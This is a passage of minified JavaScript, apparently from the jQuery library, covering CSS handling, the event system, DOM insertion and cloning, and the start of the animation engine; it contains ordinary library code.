G=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,Y=new RegExp("^(?:([+-])=|)("+G+")([a-z%]*)$","i"),Q=["Top","Right","Bottom","Left"],J=C.documentElement,K=function(e){return ce.contains(e.ownerDocument,e)},Z={composed:!0};J.getRootNode&&(K=function(e){return ce.contains(e.ownerDocument,e)||e.getRootNode(Z)===e.ownerDocument});var ee=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&K(e)&&"none"===ce.css(e,"display")};function te(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return ce.css(e,t,"")},u=s(),l=n&&n[3]||(ce.cssNumber[t]?"":"px"),c=e.nodeType&&(ce.cssNumber[t]||"px"!==l&&+u)&&Y.exec(ce.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)ce.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,ce.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ne={};function re(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=_.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ee(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ne[s])||(o=a.body.appendChild(a.createElement(s)),u=ce.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ne[s]=u)))):"none"!==n&&(l[c]="none",_.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}ce.fn.extend({show:function(){return re(this,!0)},hide:function(){return re(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?ce(this).show():ce(this).hide()})}});var xe,be,we=/^(?:checkbox|radio)$/i,Te=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Ce=/^$|^module$|\/(?:java|ecma)script/i;xe=C.createDocumentFragment().appendChild(C.createElement("div")),(be=C.createElement("input")).setAttribute("type","radio"),be.setAttribute("checked","checked"),be.setAttribute("name","t"),xe.appendChild(be),le.checkClone=xe.cloneNode(!0).cloneNode(!0).lastChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.innerHTML="<option></option>",le.option=!!xe.lastChild;var ke={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Se(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&fe(e,t)?ce.merge([e],n):n}function Ee(e,t){for(var n=0,r=e.length;n<r;n++)_.set(e[n],"globalEval",!t||_.get(t[n],"globalEval"))}ke.tbody=ke.tfoot=ke.colgroup=ke.caption=ke.thead,ke.th=ke.td,le.option||(ke.optgroup=ke.option=[1,"<select multiple='multiple'>","</select>"]);var je=/<|&#?\w+;/;function Ae(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))ce.merge(p,o.nodeType?[o]:o);else if(je.test(o)){a=a||f.appendChild(t.createElement("div")),s=(Te.exec(o)||["",""])[1].toLowerCase(),u=ke[s]||ke._default,a.innerHTML=u[1]+ce.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;ce.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<ce.inArray(o,r))i&&i.push(o);else if(l=K(o),a=Se(f.appendChild(o),"script"),l&&Ee(a),n){c=0;while(o=a[c++])Ce.test(o.type||"")&&n.push(o)}return f}var De=/^([^.]*)(?:\.(.+)|)/;function Ne(){return!0}function qe(){return!1}function Le(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Le(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=qe;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return ce().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=ce.guid++)),e.each(function(){ce.event.add(this,t,i,r,n)})}function He(e,r,t){t?(_.set(e,r,!1),ce.event.add(e,r,{namespace:!1,handler:function(e){var t,n=_.get(this,r);if(1&e.isTrigger&&this[r]){if(n)(ce.event.special[r]||{}).delegateType&&e.stopPropagation();else if(n=ae.call(arguments),_.set(this,r,n),this[r](),t=_.get(this,r),_.set(this,r,!1),n!==t)return e.stopImmediatePropagation(),e.preventDefault(),t}else n&&(_.set(this,r,ce.event.trigger(n[0],n.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Ne)}})):void 0===_.get(e,r)&&ce.event.add(e,r,Ne)}ce.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.get(t);if($(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&ce.find.matchesSelector(J,i),n.guid||(n.guid=ce.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof ce&&ce.event.triggered!==e.type?ce.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(D)||[""]).length;while(l--)d=g=(s=De.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=ce.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=ce.event.special[d]||{},c=ce.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&ce.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),ce.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.hasData(e)&&_.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(D)||[""]).length;while(l--)if(d=g=(s=De.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=ce.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||ce.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)ce.event.remove(e,d+t[l],n,r,!0);ce.isEmptyObject(u)&&_.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=ce.event.fix(e),l=(_.get(this,"events")||Object.create(null))[u.type]||[],c=ce.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=ce.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<ce(i,this).index(l):ce.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(ce.Event.prototype,t,{enumerable:!0,configurable:!0,get:v(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[ce.expando]?e:new ce.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click",!0),!1},trigger:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click"),!0},_default:function(e){var t=e.target;return we.test(t.type)&&t.click&&fe(t,"input")&&_.get(t,"click")||fe(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},ce.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},ce.Event=function(e,t){if(!(this instanceof ce.Event))return new ce.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ne:qe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&ce.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[ce.expando]=!0},ce.Event.prototype={constructor:ce.Event,isDefaultPrevented:qe,isPropagationStopped:qe,isImmediatePropagationStopped:qe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ne,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ne,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ne,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},ce.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},ce.event.addProp),ce.each({focus:"focusin",blur:"focusout"},function(r,i){function o(e){if(C.documentMode){var t=_.get(this,"handle"),n=ce.event.fix(e);n.type="focusin"===e.type?"focus":"blur",n.isSimulated=!0,t(e),n.target===n.currentTarget&&t(n)}else ce.event.simulate(i,e.target,ce.event.fix(e))}ce.event.special[r]={setup:function(){var e;if(He(this,r,!0),!C.documentMode)return!1;(e=_.get(this,i))||this.addEventListener(i,o),_.set(this,i,(e||0)+1)},trigger:function(){return He(this,r),!0},teardown:function(){var e;if(!C.documentMode)return!1;(e=_.get(this,i)-1)?_.set(this,i,e):(this.removeEventListener(i,o),_.remove(this,i))},_default:function(e){return _.get(e.target,r)},delegateType:i},ce.event.special[i]={setup:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i);n||(C.documentMode?this.addEventListener(i,o):e.addEventListener(r,o,!0)),_.set(t,i,(n||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i)-1;n?_.set(t,i,n):(C.documentMode?this.removeEventListener(i,o):e.removeEventListener(r,o,!0),_.remove(t,i))}}}),ce.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){ce.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||ce.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),ce.fn.extend({on:function(e,t,n,r){return Le(this,e,t,n,r)},one:function(e,t,n,r){return Le(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,ce(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=qe),this.each(function(){ce.event.remove(this,e,n,t)})}});var Oe=/<script|<style|<link/i,Pe=/checked\s*(?:[^=]|=\s*.checked.)/i,Me=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function Re(e,t){return fe(e,"table")&&fe(11!==t.nodeType?t:t.firstChild,"tr")&&ce(e).children("tbody")[0]||e}function Ie(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function We(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Fe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(_.hasData(e)&&(s=_.get(e).events))for(i in _.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)ce.event.add(t,i,s[i][n]);z.hasData(e)&&(o=z.access(e),a=ce.extend({},o),z.set(t,a))}}function $e(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=v(d);if(h||1<f&&"string"==typeof d&&!le.checkClone&&Pe.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),$e(t,r,i,o)});if(f&&(t=(e=Ae(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=ce.map(Se(e,"script"),Ie)).length;c<f;c++)u=e,c!==p&&(u=ce.clone(u,!0,!0),s&&ce.merge(a,Se(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,ce.map(a,We),c=0;c<s;c++)u=a[c],Ce.test(u.type||"")&&!_.access(u,"globalEval")&&ce.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?ce._evalUrl&&!u.noModule&&ce._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):m(u.textContent.replace(Me,""),u,l))}return n}function Be(e,t,n){for(var r,i=t?ce.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||ce.cleanData(Se(r)),r.parentNode&&(n&&K(r)&&Ee(Se(r,"script")),r.parentNode.removeChild(r));return e}ce.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=K(e);if(!(le.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||ce.isXMLDoc(e)))for(a=Se(c),r=0,i=(o=Se(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&we.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||Se(e),a=a||Se(c),r=0,i=o.length;r<i;r++)Fe(o[r],a[r]);else Fe(e,c);return 0<(a=Se(c,"script")).length&&Ee(a,!f&&Se(e,"script")),c},cleanData:function(e){for(var t,n,r,i=ce.event.special,o=0;void 0!==(n=e[o]);o++)if($(n)){if(t=n[_.expando]){if(t.events)for(r in t.events)i[r]?ce.event.remove(n,r):ce.removeEvent(n,r,t.handle);n[_.expando]=void 0}n[z.expando]&&(n[z.expando]=void 0)}}}),ce.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return M(this,function(e){return void 0===e?ce.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return $e(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Re(this,e).appendChild(e)})},prepend:function(){return $e(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(ce.cleanData(Se(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return ce.clone(this,e,t)})},html:function(e){return M(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Oe.test(e)&&!ke[(Te.exec(e)||["",""])[1].toLowerCase()]){e=ce.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(ce.cleanData(Se(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return $e(this,arguments,function(e){var t=this.parentNode;ce.inArray(this,n)<0&&(ce.cleanData(Se(this)),t&&t.replaceChild(e,this))},n)}}),ce.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){ce.fn[e]=function(e){for(var t,n=[],r=ce(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),ce(r[o])[a](t),s.apply(n,t.get());return this.pushStack(n)}});var _e=new RegExp("^("+G+")(?!px)[a-z%]+$","i"),ze=/^--/,Xe=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=ie),t.getComputedStyle(e)},Ue=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ve=new RegExp(Q.join("|"),"i");function Ge(e,t,n){var r,i,o,a,s=ze.test(t),u=e.style;return(n=n||Xe(e))&&(a=n.getPropertyValue(t)||n[t],s&&a&&(a=a.replace(ve,"$1")||void 0),""!==a||K(e)||(a=ce.style(e,t)),!le.pixelBoxStyles()&&_e.test(a)&&Ve.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function Ye(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",J.appendChild(u).appendChild(l);var e=ie.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),J.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=C.createElement("div"),l=C.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",le.clearCloneStyle="content-box"===l.style.backgroundClip,ce.extend(le,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=C.createElement("table"),t=C.createElement("tr"),n=C.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="box-sizing:content-box;border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",J.appendChild(e).appendChild(t).appendChild(n),r=ie.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,J.removeChild(e)),a}}))}();var Qe=["Webkit","Moz","ms"],Je=C.createElement("div").style,Ke={};function Ze(e){var t=ce.cssProps[e]||Ke[e];return t||(e in Je?e:Ke[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Je)return e}(e)||e)}var et=/^(none|table(?!-c[ea]).+)/,tt={position:"absolute",visibility:"hidden",display:"block"},nt={letterSpacing:"0",fontWeight:"400"};function rt(e,t,n){var r=Y.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function it(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0,l=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(l+=ce.css(e,n+Q[a],!0,i)),r?("content"===n&&(u-=ce.css(e,"padding"+Q[a],!0,i)),"margin"!==n&&(u-=ce.css(e,"border"+Q[a]+"Width",!0,i))):(u+=ce.css(e,"padding"+Q[a],!0,i),"padding"!==n?u+=ce.css(e,"border"+Q[a]+"Width",!0,i):s+=ce.css(e,"border"+Q[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u+l}function ot(e,t,n){var r=Xe(e),i=(!le.boxSizingReliable()||n)&&"border-box"===ce.css(e,"boxSizing",!1,r),o=i,a=Ge(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(_e.test(a)){if(!n)return a;a="auto"}return(!le.boxSizingReliable()&&i||!le.reliableTrDimensions()&&fe(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===ce.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===ce.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+it(e,t,n||(i?"border":"content"),o,r,a)+"px"}function at(e,t,n,r,i){return new at.prototype.init(e,t,n,r,i)}ce.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ge(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,aspectRatio:!0,borderImageSlice:!0,columnCount:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,scale:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeMiterlimit:!0,strokeOpacity:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=F(t),u=ze.test(t),l=e.style;if(u||(t=Ze(s)),a=ce.cssHooks[t]||ce.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=Y.exec(n))&&i[1]&&(n=te(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(ce.cssNumber[s]?"":"px")),le.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=F(t);return ze.test(t)||(t=Ze(s)),(a=ce.cssHooks[t]||ce.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Ge(e,t,r)),"normal"===i&&t in nt&&(i=nt[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),ce.each(["height","width"],function(e,u){ce.cssHooks[u]={get:function(e,t,n){if(t)return!et.test(ce.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?ot(e,u,n):Ue(e,tt,function(){return ot(e,u,n)})},set:function(e,t,n){var r,i=Xe(e),o=!le.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===ce.css(e,"boxSizing",!1,i),s=n?it(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-it(e,u,"border",!1,i)-.5)),s&&(r=Y.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=ce.css(e,u)),rt(0,t,s)}}}),ce.cssHooks.marginLeft=Ye(le.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Ge(e,"marginLeft"))||e.getBoundingClientRect().left-Ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),ce.each({margin:"",padding:"",border:"Width"},function(i,o){ce.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+Q[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(ce.cssHooks[i+o].set=rt)}),ce.fn.extend({css:function(e,t){return M(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Xe(e),i=t.length;a<i;a++)o[t[a]]=ce.css(e,t[a],!1,r);return o}return void 0!==n?ce.style(e,t,n):ce.css(e,t)},e,t,1<arguments.length)}}),((ce.Tween=at).prototype={constructor:at,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||ce.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(ce.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):at.propHooks._default.set(this),this}}).init.prototype=at.prototype,(at.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=ce.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){ce.fx.step[e.prop]?ce.fx.step[e.prop](e):1!==e.elem.nodeType||!ce.cssHooks[e.prop]&&null==e.elem.style[Ze(e.prop)]?e.elem[e.prop]=e.now:ce.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=at.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},ce.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},ce.fx=at.prototype.init,ce.fx.step={};var st,ut,lt,ct,ft=/^(?:toggle|show|hide)$/,pt=/queueHooks$/;function dt(){ut&&(!1===C.hidden&&ie.requestAnimationFrame?ie.requestAnimationFrame(dt):ie.setTimeout(dt,ce.fx.interval),ce.fx.tick())}function ht(){return ie.setTimeout(function(){st=void 0}),st=Date.now()}function gt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=Q[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function vt(e,t,n){for(var r,i=(yt.tweeners[t]||[]).concat(yt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function yt(o,e,t){var n,a,r=0,i=yt.prefilters.length,s=ce.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=st||ht(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:ce.extend({},e),opts:ce.extend(!0,{specialEasing:{},easing:ce.easing._default},t),originalProperties:e,originalOptions:t,startTime:st||ht(),duration:t.duration,tweens:[],createTween:function(e,t){var n=ce.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=F(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=ce.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=yt.prefilters[r].call(l,o,c,l.opts))return v(n.stop)&&(ce._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return ce.map(c,vt,l),v(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),ce.fx.timer(ce.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}ce.Animation=ce.extend(yt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return te(n.elem,e,Y.exec(t),n),n}]},tweener:function(e,t){v(e)?(t=e,e=["*"]):e=e.match(D);for(var 